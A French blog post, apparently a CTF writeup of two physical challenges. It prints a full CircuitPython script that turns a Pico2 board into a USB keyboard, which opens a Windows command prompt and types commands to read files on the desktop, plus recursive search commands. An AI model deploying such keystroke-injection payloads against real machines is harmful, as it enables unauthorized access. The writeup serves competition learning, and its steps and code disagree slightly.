Aller au contenu
  1. Posts/

Writeup OHxY CTF 2024 pt.2 - Challenges Physiques

·429 mots·3 mins
Lacroix Raphaël (Chepycou)
Auteur
Lacroix Raphaël (Chepycou)
Bonjour, bienvenue sur mon blog. Je suis Raphaël LACROIX, je développe diverses applications pendant mon temps libre, allant du très inutile au parfois utile. Je fais aussi beaucoup de Capture The Flag et de défis de cybersécurité.
Sommaire
Writeup 2024 OHxY CTF - Cet article fait partie d'une série.
Partie 2: Cet article

Bonjour à tous,

Dans ce deuxième billet de blog sur le Oxyhack Cyberevent CTF, je vais partager quelques comptes-rendus des défis physiques qui ont été très amusants ! Un grand merci à Baptiste Rebillard pour les superbes bricolages de pico2.

Quack
#

Nous n’avons pas de clavier et un “flag.txt” nous nargue depuis le bureau de cet “ordinateur” (qui utilise windows, sigh)

Il suffit de flasher le firmware MicroPython sur la carte pico2 :

  • appuyer sur le bouton BOOTSEL et le relâcher après quelques secondes
  • télécharger micropython pour pico2 ici
  • placer le fichier .uf2 dans le pico2
  • puis attendre quelques secondes, il redémarrera automatiquement
  • télécharger l’adafruit circuit python bundle ici
  • dans le répertoire “lib”, insérer “adafruit_hid”

Une fois que tout est configuré, on peut téléverser un main.py ou code.py qui s’exécutera automatiquement lorsque le pico2 est alimenté.

Par exemple, nous pouvons simuler un clavier qui :

  • appuie sur CTRL + R
  • tape “CMD”
  • appuie sur entrée (pour lancer le terminal)
  • tape “d %USERPROFILE%\NDesktop”
  • appuie sur entrée
  • tape “type flag.txt”
  • appuie sur entrée Et normalement devrait lire le fichier flag.txt.

En python maintenant :

import time
import board
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode

keyboard = Keyboard(usb_hid.devices)

# In order to have the time to delete the code.py without running the commands
# if we connect the pico to our computer (for example to change the code.py)
time.sleep(4)

# Closing all tabs
for _ in range(3):
    keyboard.press(Keycode.ALT)
    keyboard.press(Keycode.F4)
    keyboard.release_all()
    time.sleep(0.1)

# Start CMD
keyboard.press(Keycode.WINDOWS)
keyboard.press(Keycode.R)
keyboard.release_all()
time.sleep(3)

keyboard.press(Keycode.C);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.M);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.D);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.ENTER)
keyboard.release_all()
time.sleep(1)

# Write "cd %USERPROFILE%\\Desktop"
keyboard.press(Keycode.C);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.D);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SPACE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SHIFT)
keyboard.press(Keycode.FIVE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.U);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.S);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.R);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.P);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.R);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.O);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.F);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.I);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.L);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SHIFT)
keyboard.press(Keycode.FIVE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.BACKSLASH);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.BACKSLASH);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.D);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.S);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.K);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.O);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.P);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.ENTER);keyboard.release_all();time.sleep(0.1)

# Write "type flag.txt"
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.Y);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.P);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SPACE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.H);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.I);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.N);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.PERIOD);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.X);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.ENTER)
keyboard.release_all()

# Wait 10 second in order to see the flag
time.sleep(10)

# Closing all tabs
for _ in range(3):
    keyboard.press(Keycode.ALT)
    keyboard.press(Keycode.F4)
    keyboard.release_all()
    time.sleep(0.1)
Vous pouvez taper tous les caractères du clavier en lisant la documentation ici

Bon, c’était beaucoup de code 🤯🤯🤯 Voici maintenant le résultat pour un peu plus de plaisir :

OHxY{qu4ck_th3_w4y_t0_fl4g}

Hack the Allfather
#

On suit la même méthode que pour “Quack” pour voir le contenu du fichier HINT.txt. Ensuite, pour ensuite chercher “quelque chose” sur la machine, sans trop savoir quoi.

Tout d’abord, ils nous faut savoir ce que nous cherchons, on peut donc par exemple exécuter : “dir c:\flag.txt /s /p” afin de scanner le “C:" de manière récursive.

Et dernière étape : “type C:\Users\Administrator\Desktop\flag.txt”

OHxY{0d1n5_s3cr3ts_f0r_v1ct0ry_in_v4lh4ll4}

Writeup 2024 OHxY CTF - Cet article fait partie d'une série.
Partie 2: Cet article